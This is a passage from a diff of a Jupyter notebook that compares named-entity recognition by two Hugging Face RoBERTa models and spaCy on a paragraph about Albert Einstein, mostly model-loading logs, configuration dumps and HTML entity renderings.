+ "loading configuration file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/cd7e3332fb70fd94304b0fcad297caff7b8d9c97c5f76b5a4ac6bbcc14379fe1.ed0120fc465ef220e4bd136ae002fa78741a9545246ccb78502333b8dba60ee3\n",
+ "Model config XLMRobertaConfig {\n",
+ " \"_name_or_path\": \"xlm-roberta-large-finetuned-conll03-english\",\n",
+ " \"_num_labels\": 8,\n",
+ " \"architectures\": [\n",
+ " \"XLMRobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"B-LOC\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"B-ORG\",\n",
+ " \"3\": \"I-LOC\",\n",
+ " \"4\": \"I-MISC\",\n",
+ " \"5\": \"I-ORG\",\n",
+ " \"6\": \"I-PER\",\n",
+ " \"7\": \"O\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"B-LOC\": 0,\n",
+ " \"B-MISC\": 1,\n",
+ " \"B-ORG\": 2,\n",
+ " \"I-LOC\": 3,\n",
+ " \"I-MISC\": 4,\n",
+ " \"I-ORG\": 5,\n",
+ " \"I-PER\": 6,\n",
+ " \"O\": 7\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"xlm-roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
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+ " \"output_past\": true,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 250002\n",
+ "}\n",
+ "\n",
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+ ]
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+ "text": [
+ "storing https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/sentencepiece.bpe.model in cache at /root/.cache/huggingface/transformers/c5604a1be93150d0d1b8dfa45818ac04c1261ea33b5aa73e9f62b07171cafd93.00628a9eeb8baf4080d44a0abe9fe8057893de20c7cb6e6423cddbf452f7d4d8\n",
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+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/8.68M [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
+ "version_major": 2,
+ "version_minor": 0,
+ "model_id": "8e202bee8a6d40bfa5bfedcecf0c1539"
+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/tokenizer.json in cache at /root/.cache/huggingface/transformers/b32bffe3a0720df8952ddee5d7b1f9dd5c71ac8f0e0a69ba69432d8ab0be410c.1b58f47e7fc4532adbdc01d216b9bb2fb0657db965b423d3c9c974934c7c50e3\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/b32bffe3a0720df8952ddee5d7b1f9dd5c71ac8f0e0a69ba69432d8ab0be410c.1b58f47e7fc4532adbdc01d216b9bb2fb0657db965b423d3c9c974934c7c50e3\n",
+ "loading file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/sentencepiece.bpe.model from cache at /root/.cache/huggingface/transformers/c5604a1be93150d0d1b8dfa45818ac04c1261ea33b5aa73e9f62b07171cafd93.00628a9eeb8baf4080d44a0abe9fe8057893de20c7cb6e6423cddbf452f7d4d8\n",
+ "loading file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/tokenizer.json from cache at /root/.cache/huggingface/transformers/b32bffe3a0720df8952ddee5d7b1f9dd5c71ac8f0e0a69ba69432d8ab0be410c.1b58f47e7fc4532adbdc01d216b9bb2fb0657db965b423d3c9c974934c7c50e3\n",
+ "loading file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/added_tokens.json from cache at None\n",
+ "loading file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/special_tokens_map.json from cache at None\n",
+ "loading file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/tokenizer_config.json from cache at None\n",
+ "loading configuration file https://huggingface.co/xlm-roberta-large-finetuned-conll03-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/cd7e3332fb70fd94304b0fcad297caff7b8d9c97c5f76b5a4ac6bbcc14379fe1.ed0120fc465ef220e4bd136ae002fa78741a9545246ccb78502333b8dba60ee3\n",
+ "Model config XLMRobertaConfig {\n",
+ " \"_name_or_path\": \"xlm-roberta-large-finetuned-conll03-english\",\n",
+ " \"_num_labels\": 8,\n",
+ " \"architectures\": [\n",
+ " \"XLMRobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"B-LOC\",\n",
+ " \"1\": \"B-MISC\",\n",
+ " \"2\": \"B-ORG\",\n",
+ " \"3\": \"I-LOC\",\n",
+ " \"4\": \"I-MISC\",\n",
+ " \"5\": \"I-ORG\",\n",
+ " \"6\": \"I-PER\",\n",
+ " \"7\": \"O\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"B-LOC\": 0,\n",
+ " \"B-MISC\": 1,\n",
+ " \"B-ORG\": 2,\n",
+ " \"I-LOC\": 3,\n",
+ " \"I-MISC\": 4,\n",
+ " \"I-ORG\": 5,\n",
+ " \"I-PER\": 6,\n",
+ " \"O\": 7\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"xlm-roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"output_past\": true,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 250002\n",
+ "}\n",
+ "\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# perform inference on this model\n",
+ "doc_ner2 = ner2(text)"
+ ],
+ "metadata": {
+ "id": "2Bh3QE8s4cvt"
+ },
+ "execution_count": 11,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# get HTML representation of NER of our text\n",
+ "get_entities_html(text, doc_ner2)"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 192
+ },
+ "id": "vwWrchr54yBO",
+ "outputId": "4363514e-524f-4322-e973-7ea3465cf514"
+ },
+ "execution_count": 12,
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
+ "\n",
+ "\n",
+ " Albert Einstein\n",
+ " I-PER \n",
+ " \n",
+ " was a \n",
+ "\n",
+ " German\n",
+ " I-MISC \n",
+ " \n",
+ "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+ "\n",
+ " Einstein\n",
+ " I-PER \n",
+ " \n",
+ " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+ "\n",
+ " Einstein\n",
+ " I-PER \n",
+ " \n",
+ " was born in the \n",
+ "\n",
+ " German Empire\n",
+ " I-LOC \n",
+ " \n",
+ ", but moved to \n",
+ "\n",
+ " Switzerland\n",
+ " I-LOC \n",
+ " \n",
+ " in 1895, forsaking his \n",
+ "\n",
+ " German\n",
+ " I-MISC \n",
+ " \n",
+ " citizenship (as a subject of the \n",
+ "\n",
+ " Kingdom of Württemberg\n",
+ " I-LOC \n",
+ " \n",
+ ") the following year. In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n",
+ "\n",
+ " Swiss\n",
+ " I-MISC \n",
+ " \n",
+ " \n",
+ "\n",
+ " Federal\n",
+ " I-ORG \n",
+ " \n",
+ " polytechnic school in \n",
+ "\n",
+ " Zürich\n",
+ " I-LOC \n",
+ " \n",
+ ", graduating in 1900
"
+ ]
+ },
+ "metadata": {}
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# load yet another roberta-large model\n",
+ "ner3 = pipeline(\"ner\", model=\"Jean-Baptiste/roberta-large-ner-english\")"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 1000,
+ "referenced_widgets": [
+ "10dc3d59148a45c98c0888922053cd30",
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+ "95d2768742124d678b7754c54ee7acd2",
+ "6bc73766fcd14b5ba5cb7db4097bc5bd",
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+ "67f2b09fbc9842f685d33b395de968fa",
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+ "03d68213295e4dc8a697e78d4de9b2ca",
+ "2c2b23a1ebf240578067e3aa1afefe72",
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+ "944566712b18476288a33c8782b44099",
+ "565aa92b312740c2814a848d06cd1579",
+ "e6128cd96bf142228293bc74045242da",
+ "d8bdca0500fe4a9e9fab75edba46af84",
+ "ad06bac1ce8346c2adc989acc55e888c",
+ "73a9f075b21e4da1bec000014173283f",
+ "193773bef4394845a1338419390b76d1",
+ "a65f0ca4aaa24240801314983191c170",
+ "d887c728f5504e6eaf95b07971447ea6",
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+ "5949c51fdbe4434a9d0907360583db3f",
+ "7f57024773464cfd821e50d3e08acbbb",
+ "edfb5a81ddd84ca8a7d2e742d8845958",
+ "0205d03218744ef3b4afd2f6b6e29b12",
+ "73da2e3ca1b24ea9b004209805d02ac7",
+ "27ee464a1b5447d9b563d55173a8c07d",
+ "0dda3c57f4914e3b912f90adc2c6bccc",
+ "b63eacd563084ced8e20e7066c00862c",
+ "e5508e7cab9d44928b87de799565d06d",
+ "11b5a188505f4616924db47def095842",
+ "98fbd9a86ab040ee90c6a57f62272da3",
+ "0f6e8126647e4d87a4cf6d9f053d81e5",
+ "0aff7168112c471d92c5e42ec863e6e5",
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+ "904492fdd3b54ca88efbc511de296892",
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+ ]
+ },
+ "id": "4cIpMKTV7Lc6",
+ "outputId": "190b38fb-2d77-46d6-e2ed-33fb4241f399"
+ },
+ "execution_count": 13,
+ "outputs": [
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp9fr9adgj/n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/849 [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
+ "version_major": 2,
+ "version_minor": 0,
+ "model_id": "10dc3d59148a45c98c0888922053cd30"
+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json in cache at /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "loading configuration file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "Model config RobertaConfig {\n",
+ " \"_name_or_path\": \"Jean-Baptiste/roberta-large-ner-english\",\n",
+ " \"architectures\": [\n",
+ " \"RobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"gradient_checkpointing\": false,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"PER\",\n",
+ " \"2\": \"ORG\",\n",
+ " \"3\": \"LOC\",\n",
+ " \"4\": \"MISC\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"LOC\": 3,\n",
+ " \"MISC\": 4,\n",
+ " \"O\": 0,\n",
+ " \"ORG\": 2,\n",
+ " \"PER\": 1\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 50265\n",
+ "}\n",
+ "\n",
+ "loading configuration file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "Model config RobertaConfig {\n",
+ " \"_name_or_path\": \"Jean-Baptiste/roberta-large-ner-english\",\n",
+ " \"architectures\": [\n",
+ " \"RobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"gradient_checkpointing\": false,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"PER\",\n",
+ " \"2\": \"ORG\",\n",
+ " \"3\": \"LOC\",\n",
+ " \"4\": \"MISC\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"LOC\": 3,\n",
+ " \"MISC\": 4,\n",
+ " \"O\": 0,\n",
+ " \"ORG\": 2,\n",
+ " \"PER\": 1\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 50265\n",
+ "}\n",
+ "\n",
+ "https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/pytorch_model.bin%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp13s5xajo/n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/1.32G [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
+ "version_major": 2,
+ "version_minor": 0,
+ "model_id": "f7227b1a6b514a8b98ebfa5ea8223846"
+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/pytorch_model.bin in cache at /root/.cache/huggingface/transformers/7cd6d28bedc175df9fb66d27c29f232222ace92dca20ed45e05a27a2fdd50f56.84a94b998a1b076bfba1ce0dbbb2d8eb1afe70835aa0ab6d1d1a92aa94cd0b40\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/7cd6d28bedc175df9fb66d27c29f232222ace92dca20ed45e05a27a2fdd50f56.84a94b998a1b076bfba1ce0dbbb2d8eb1afe70835aa0ab6d1d1a92aa94cd0b40\n",
+ "loading weights file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/pytorch_model.bin from cache at /root/.cache/huggingface/transformers/7cd6d28bedc175df9fb66d27c29f232222ace92dca20ed45e05a27a2fdd50f56.84a94b998a1b076bfba1ce0dbbb2d8eb1afe70835aa0ab6d1d1a92aa94cd0b40\n",
+ "All model checkpoint weights were used when initializing RobertaForTokenClassification.\n",
+ "\n",
+ "All the weights of RobertaForTokenClassification were initialized from the model checkpoint at Jean-Baptiste/roberta-large-ner-english.\n",
+ "If your task is similar to the task the model of the checkpoint was trained on, you can already use RobertaForTokenClassification for predictions without further training.\n",
+ "https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/tokenizer_config.json%20not%20found%20in%20cache%20or%20force_download%20set%20to%20True,%20downloading%20to%20/root/.cache/huggingface/transformers/tmp21vu0_xz/n"
+ ]
+ },
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ "Downloading: 0%| | 0.00/255 [00:00, ?B/s]"
+ ],
+ "application/vnd.jupyter.widget-view+json": {
+ "version_major": 2,
+ "version_minor": 0,
+ "model_id": "fc5039ea3e374089b682dd227e458c1a"
+ }
+ },
+ "metadata": {}
+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
+ "storing https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/tokenizer_config.json in cache at /root/.cache/huggingface/transformers/dab927a4521cc28698b04a671a96cc167180d7cb6d0a4c0da9f88385cf4a901e.1198ac0df8aade842fa41e634e59c5f5098947fc60d581929c8f0a2d96c3becd\n",
+ "creating metadata file for /root/.cache/huggingface/transformers/dab927a4521cc28698b04a671a96cc167180d7cb6d0a4c0da9f88385cf4a901e.1198ac0df8aade842fa41e634e59c5f5098947fc60d581929c8f0a2d96c3becd\n",
+ "loading configuration file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "Model config RobertaConfig {\n",
+ " \"_name_or_path\": \"Jean-Baptiste/roberta-large-ner-english\",\n",
+ " \"architectures\": [\n",
+ " \"RobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"gradient_checkpointing\": false,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"PER\",\n",
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+ }
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+ },
+ {
+ "output_type": "stream",
+ "name": "stderr",
+ "text": [
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+ "loading file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/vocab.json from cache at /root/.cache/huggingface/transformers/ea0da06ea123e2bbf6bc646ace42ce2b5e427e03325288ed69150197077fac56.bfdcc444ff249bca1a95ca170ec350b442f81804d7df3a95a2252217574121d7\n",
+ "loading file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/merges.txt from cache at /root/.cache/huggingface/transformers/71a89f7aee3ad4e065420256705d7c1fa2dd95d6ef7c18904ee247a6357ec201.f5b91da9e34259b8f4d88dbc97c740667a0e8430b96314460cdb04e86d4fc435\n",
+ "loading file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/tokenizer.json from cache at None\n",
+ "loading file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/added_tokens.json from cache at None\n",
+ "loading file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/special_tokens_map.json from cache at /root/.cache/huggingface/transformers/386bbab29d21346a601dce02866bc2e2bc3c232da1d075cec3896bcabfabf227.a11ebb04664c067c8fe5ef8f8068b0f721263414a26058692f7b2e4ba2a1b342\n",
+ "loading file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/tokenizer_config.json from cache at /root/.cache/huggingface/transformers/dab927a4521cc28698b04a671a96cc167180d7cb6d0a4c0da9f88385cf4a901e.1198ac0df8aade842fa41e634e59c5f5098947fc60d581929c8f0a2d96c3becd\n",
+ "loading configuration file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "Model config RobertaConfig {\n",
+ " \"_name_or_path\": \"Jean-Baptiste/roberta-large-ner-english\",\n",
+ " \"architectures\": [\n",
+ " \"RobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"gradient_checkpointing\": false,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"PER\",\n",
+ " \"2\": \"ORG\",\n",
+ " \"3\": \"LOC\",\n",
+ " \"4\": \"MISC\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"LOC\": 3,\n",
+ " \"MISC\": 4,\n",
+ " \"O\": 0,\n",
+ " \"ORG\": 2,\n",
+ " \"PER\": 1\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 50265\n",
+ "}\n",
+ "\n",
+ "loading configuration file https://huggingface.co/Jean-Baptiste/roberta-large-ner-english/resolve/main/config.json from cache at /root/.cache/huggingface/transformers/8dfd6e6f356a5aa80b89f733ff8f5482e75900ac4119263e4546df520e9f4407.17dd1ad9b326768978c0c8d481df74561f1d4c138260b2771389ffbac2bfc616\n",
+ "Model config RobertaConfig {\n",
+ " \"_name_or_path\": \"Jean-Baptiste/roberta-large-ner-english\",\n",
+ " \"architectures\": [\n",
+ " \"RobertaForTokenClassification\"\n",
+ " ],\n",
+ " \"attention_probs_dropout_prob\": 0.1,\n",
+ " \"bos_token_id\": 0,\n",
+ " \"classifier_dropout\": null,\n",
+ " \"eos_token_id\": 2,\n",
+ " \"gradient_checkpointing\": false,\n",
+ " \"hidden_act\": \"gelu\",\n",
+ " \"hidden_dropout_prob\": 0.1,\n",
+ " \"hidden_size\": 1024,\n",
+ " \"id2label\": {\n",
+ " \"0\": \"O\",\n",
+ " \"1\": \"PER\",\n",
+ " \"2\": \"ORG\",\n",
+ " \"3\": \"LOC\",\n",
+ " \"4\": \"MISC\"\n",
+ " },\n",
+ " \"initializer_range\": 0.02,\n",
+ " \"intermediate_size\": 4096,\n",
+ " \"label2id\": {\n",
+ " \"LOC\": 3,\n",
+ " \"MISC\": 4,\n",
+ " \"O\": 0,\n",
+ " \"ORG\": 2,\n",
+ " \"PER\": 1\n",
+ " },\n",
+ " \"layer_norm_eps\": 1e-05,\n",
+ " \"max_position_embeddings\": 514,\n",
+ " \"model_type\": \"roberta\",\n",
+ " \"num_attention_heads\": 16,\n",
+ " \"num_hidden_layers\": 24,\n",
+ " \"pad_token_id\": 1,\n",
+ " \"position_embedding_type\": \"absolute\",\n",
+ " \"transformers_version\": \"4.17.0\",\n",
+ " \"type_vocab_size\": 1,\n",
+ " \"use_cache\": true,\n",
+ " \"vocab_size\": 50265\n",
+ "}\n",
+ "\n"
+ ]
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# perform inference on this model\n",
+ "doc_ner3 = ner3(text)"
+ ],
+ "metadata": {
+ "id": "-uBAvLKHATcD"
+ },
+ "execution_count": 14,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# get HTML representation of NER of our text\n",
+ "get_entities_html(text, doc_ner3)"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 192
+ },
+ "id": "nBY7qXIUAXhn",
+ "outputId": "3354cd11-36d6-4525-e32f-2b2c2f6e7ac4"
+ },
+ "execution_count": 15,
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
+ "\n",
+ "\n",
+ " Albert Einstein\n",
+ " PER \n",
+ " \n",
+ " was a \n",
+ "\n",
+ " German-born\n",
+ " MISC \n",
+ " \n",
+ " theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+ "\n",
+ " Einstein\n",
+ " PER \n",
+ " \n",
+ " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of quantum mechanics.\n",
+ "\n",
+ " Einstein\n",
+ " PER \n",
+ " \n",
+ " was born in the \n",
+ "\n",
+ " German Empire\n",
+ " LOC \n",
+ " \n",
+ ", but moved to \n",
+ "\n",
+ " Switzerland\n",
+ " LOC \n",
+ " \n",
+ " in 1895, forsaking his \n",
+ "\n",
+ " German\n",
+ " MISC \n",
+ " \n",
+ " citizenship (as a subject of the \n",
+ "\n",
+ " Kingdom of Württemberg\n",
+ " LOC \n",
+ " \n",
+ ") the following year. In 1897, at the age of 17, he enrolled in the mathematics and physics teaching diploma program at the \n",
+ "\n",
+ " Swiss\n",
+ " MISC \n",
+ " \n",
+ " \n",
+ "\n",
+ " Federal\n",
+ " ORG \n",
+ " \n",
+ " polytechnic school in \n",
+ "\n",
+ " Zürich\n",
+ " LOC \n",
+ " \n",
+ ", graduating in 1900
"
+ ]
+ },
+ "metadata": {}
+ }
+ ]
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# load the English CPU-optimized pipeline\n",
+ "nlp = spacy.load(\"en_core_web_sm\")"
+ ],
+ "metadata": {
+ "id": "HnQ0WmxfPML7"
+ },
+ "execution_count": 16,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# predict the entities\n",
+ "doc = nlp(text)"
+ ],
+ "metadata": {
+ "id": "vkiI1J52PRrA"
+ },
+ "execution_count": 17,
+ "outputs": []
+ },
+ {
+ "cell_type": "code",
+ "source": [
+ "# display the doc with jupyter mode\n",
+ "spacy.displacy.render(doc, style=\"ent\", jupyter=True)"
+ ],
+ "metadata": {
+ "colab": {
+ "base_uri": "https://localhost:8080/",
+ "height": 192
+ },
+ "id": "qyCTpWSzPVyq",
+ "outputId": "4a9582fd-253b-4b6e-ae11-ced1a0d4dae7"
+ },
+ "execution_count": 18,
+ "outputs": [
+ {
+ "output_type": "display_data",
+ "data": {
+ "text/plain": [
+ ""
+ ],
+ "text/html": [
+ "\n",
+ "\n",
+ " Albert Einstein\n",
+ " PERSON \n",
+ " \n",
+ " was a \n",
+ "\n",
+ " German\n",
+ " NORP \n",
+ " \n",
+ "-born theoretical physicist, widely acknowledged to be one of the greatest and most influential physicists of all time. \n",
+ "\n",
+ " Einstein\n",
+ " PERSON \n",
+ " \n",
+ " is best known for developing the theory of relativity, but he also made important contributions to the development of the theory of \n",
+ "\n",
+ " quantum mechanics\n",
+ " ORG \n",
+ " \n",
+ ".\n",
+ "\n",
+ " Einstein\n",
+ " PERSON \n",
+ " \n",
+ " was born in \n",
+ "\n",
+ " the German Empire\n",
+ " GPE \n",
+ " \n",
+ ", but moved to \n",
+ "\n",
+ " Switzerland\n",
+ " GPE \n",
+ " \n",
+ " in \n",
+ "\n",
+ " 1895\n",
+ " DATE \n",
+ " \n",
+ ", forsaking his \n",
+ "\n",
+ " German\n",
+ " NORP \n",
+ " \n",
+ " citizenship (as a subject of \n",
+ "\n",
+ " the Kingdom of Württemberg\n",
+ " GPE \n",
+ " \n",
+ ") \n",
+ "\n",
+ " the following year\n",
+ " DATE \n",
+ " \n",
+ ". In \n",
+ "\n",
+ " 1897\n",
+ " DATE \n",
+ " \n",
+ ", at \n",
+ "\n",
+ " the age of 17\n",
+ " DATE \n",
+ " \n",
